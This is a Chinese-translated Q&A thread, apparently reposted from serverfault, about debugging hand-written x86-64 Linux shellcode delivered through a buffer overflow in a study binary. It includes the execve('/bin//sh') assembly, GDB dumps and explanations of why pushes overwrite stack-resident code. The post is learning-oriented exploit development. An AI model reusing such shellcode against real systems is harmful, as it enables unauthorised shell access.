Warm tip: This article is reproduced from serverfault.com, please click
assembly linux x86-64 shellcode

linux-为什么程序在推送指令中捕获SIGSEGV？

(linux - Why does the program catch SIGSEGV on push instructions?)

发布于 2020-11-30 15:46:50

编写了一个简单的x86_64 shellcode：

BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

通过缓冲区溢出，shellcode被发送到处理器。一切顺利，直到从末尾执行第三条指令（push rbx）为止。然后，程序将捕获SIGSEGV，并且永远不会到达所珍爱的中断-int 0x80。我以为堆栈可能溢出了，我在shellcode的开头插入了一些pop指令。结果，在同一条指令上，SIGSEGV更改为SIGILL-push rbx。根本没有想法。GDB：

=> 0x7fffffffea72:  mov    rdx,rsp
   0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA80  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA75
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
   0x7fffffffea81:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA78  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA76
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B

信息处理映射：

gdb$ info proc mappings
process 3025
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555555000     0x555555556000     0x1000     0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555556000     0x555555557000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555557000     0x555555558000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555558000     0x555555559000     0x1000     0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x7ffff7dbb000     0x7ffff7dbd000     0x2000        0x0 
      0x7ffff7dbd000     0x7ffff7de3000    0x26000        0x0 /usr/lib/libc-2.32.so
      0x7ffff7de3000     0x7ffff7f30000   0x14d000    0x26000 /usr/lib/libc-2.32.so
      0x7ffff7f30000     0x7ffff7f7c000    0x4c000   0x173000 /usr/lib/libc-2.32.so
      0x7ffff7f7c000     0x7ffff7f7f000     0x3000   0x1be000 /usr/lib/libc-2.32.so
      0x7ffff7f7f000     0x7ffff7f82000     0x3000   0x1c1000 /usr/lib/libc-2.32.so
      0x7ffff7f82000     0x7ffff7f88000     0x6000        0x0 
      0x7ffff7fca000     0x7ffff7fce000     0x4000        0x0 [vvar]
      0x7ffff7fce000     0x7ffff7fd0000     0x2000        0x0 [vdso]
      0x7ffff7fd0000     0x7ffff7fd2000     0x2000        0x0 /usr/lib/ld-2.32.so
      0x7ffff7fd2000     0x7ffff7ff3000    0x21000     0x2000 /usr/lib/ld-2.32.so
      0x7ffff7ff3000     0x7ffff7ffc000     0x9000    0x23000 /usr/lib/ld-2.32.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2b000 /usr/lib/ld-2.32.so
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x2c000 /usr/lib/ld-2.32.so
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb$ 

New question: Changed the shellcode to the following:

BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

这样，可以防止我的shellcode被覆盖。因此：

gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEAA0  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA79
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79:  push   rbx
   0x7fffffffea7a:  mov    rcx,rsp
   0x7fffffffea7d:  mov    al,0xdd
   0x7fffffffea7f:  int    0x80
   0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni

Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFFF7  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEA98  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x00007FFFFFFFEA98  RIP: 0x00007FFFFFFFEA81
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
   0x7fffffffea85:  (bad)  
   0x7fffffffea86:  (bad)  
   0x7fffffffea87:  (bad)  
   0x7fffffffea88:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$
Questioner
Станислав Тимошко
Viewed
11
分享
Nate Eldredge 2020-12-01 04:34:15

两个问题。

首先，你使用的是nGDB命令，该命令应该转到下一个源代码行，可能有很多说明。（而且，当你执行的代码不是二进制文件的一部分时，行号无论如何都没有意义，并且n无法可靠地工作。）你想使用它ni，或者更好的做法是si始终执行一条指令而无需尝试执行跳过子例程调用等。

确实，请注意段错误RIP后寄存器转储中的值。这不是你的地址push rbx，所以这不是错误的指令。相反，这是你原本打算成为的以下说明mov rcx, rsp。

简单的寄存器移动如何引起段错误？因为它不再是寄存器移动-你只是重写了它。比较RSP和RIP的值。你正在从堆栈中执行代码，并将你的代码push rbx存储到address 0x00007FFFFFFFEA78，而则mov rcx, rsp是从开始的三字节指令0x7fffffffea76。因此，你只是改写了它的第三个字节。如果你再次执行此操作，disassemble或x/i $rip此时，你将看到最终执行的指令-我敢打赌它会访问内存。

实际上，mov rcx, rsp被编码为48 89 e1。rbxis的低字节0x88，并用88产生的48 89 88 xx xx xx xxis覆盖第三个字节mov [rax+disp], rcx。

Станислав Тимошко 2020-11-30 16:17:20

非常感谢您的回答！

Станислав Тимошко 2020-11-30 19:20:12

谢谢你。我有一个新问题。我已经更改了shellcode，并且收到了SIGILL信号。我的问题中的新信息。

Peter Cordes 2020-12-01 01:46:13

@СтаниславТимошко：可能仍然来自覆盖堆栈上的代码。 add rsp, -128或者如果您的漏洞利用使RSP的代码在进入时低于RSP值，则可以将RSP移到新的空间。另请注意，如果以64位代码使用32位int 0x80 Linux ABI，会发生什么情况？-您不能int 0x80与64位指针一起使用，并且堆栈指针始终在低32位之外。

热门帖子

1
学英语的朋友们可以来看看 https://langplayground.top/
2
华中科大的计算机技术的在职硕士，职场认可度如何？
3
十兆宽带 100 块钱一个月我是活在 80 年代吗？
4
关于高质量 屏幕共享的问题
5
我是真的受不了打小报告的三八了！
6
怎么管理自己的文件体系
7
[开发者自荐] AirBattery: 在 Mac 端获取所有设备的电量并显示在 Dock 或状态栏上
8
南京移动 IPV6 被停
9
WireGuard 跨国组网失败后,一个新工具的诞生
10
你的 IDEA(2024.1) 在 macOS 上崩吗？

热门github

1
Implementation of paper - YOLOv9: Learning What You Want to Learn Using Programmable Gradient Information (翻译：论文实现——YOLOv9: Learning What You Want to Learn using Programmable Gradient Information（利用可编程梯度信息学习您想学的内容）)
2
A Windows and Office activator using HWID / Ohook / KMS38 / Online KMS activation methods, with a focus on open-source code and fewer antivirus detections. (翻译：使用 HWID / KMS38 / Online KMS 激活方法激活 Microsoft 产品的脚本集合，重点是开源代码、较少的防病毒检测和用户友好性。)
3
Get up and running with Llama 2, Mistral, Gemma, and other large language models. (翻译：启动并运行 Llama 2、Mistral、Gemma 和其他大型语言模型。)
4
该项目可以让你通过订阅的方式使用Cloudflare WARP+，自动获取流量。This project enables you to use Cloudflare WARP+ through subscription, automatically acquiring traffic.
5
Multi functional app to find duplicates, empty folders, similar images etc. (翻译：多功能应用程序可查找重复项、空文件夹、相似图像等。)
6
Xray panel supporting multi-protocol multi-user expire day & traffic & ip limit (Vmess & Vless & Trojan & ShadowSocks & Wireguard) (翻译：Xray面板支持多协议多用户到期日&流量&IP限制（Vmess & Vless & Trojan & ShadowSocks & Wireguard)
7
The Free Software Media System (翻译：Jellyfin 是一个免费软件媒体系统，可让您控制管理和流式传输您的媒体。它是专有 Emby 和 Plex 的替代方案，通过多个应用程序从专用服务器向最终用户设备提供媒体。)
8
lightweight, standalone C++ inference engine for Google's Gemma models. (翻译：适用于 Google Gemma 模型的轻量级独立 C++ 推理引擎。)
9
📚 Freely available programming books (翻译：📚 免费提供的编程书籍)
10
A collective list of free APIs (翻译：免费 API 的集合列表)
11
1️⃣🐝🏎️ The One Billion Row Challenge -- A fun exploration of how quickly 1B rows from a text file can be aggregated with Java (翻译：十亿行挑战 —— 使用 Java 对文本文件中的 10 亿行数据进行聚合的有趣探索)
12
🎓 Path to a free self-taught education in Computer Science! (翻译：🎓计算机科学免费自学教程！)
13
Curso para aprender el lenguaje de programación Python desde cero y para principiantes. 75 clases, 37 horas en vídeo, código, proyectos y grupo de chat. Fundamentos, frontend, backend, testing, IA... (翻译：从零开始学习 Python 编程语言的课程，适合初学者)
14
This repository contains System Design resources which are useful while preparing for interviews and learning Distributed Systems (翻译：该存储库包含系统设计资源，在准备面试和学习分布式系统时非常有用)
15
Mamba is a new state space model architecture showing promising performance on information-dense data such as language modeling, where previous subquadratic models fall short of Transformers. It is based on the line of progress on structured state space models, with an efficient hardware-aware design and implementation in the spirit of FlashAttention. (翻译：Mamba 是一种新的状态空间模型架构，在信息密集型数据（例如语言建模）上显示出良好的性能，而之前的二次模型在 Transformers 方面存在不足。它基于结构化状态空间模型的进展，并本着FlashAttention的精神进行高效的硬件感知设计和实现。)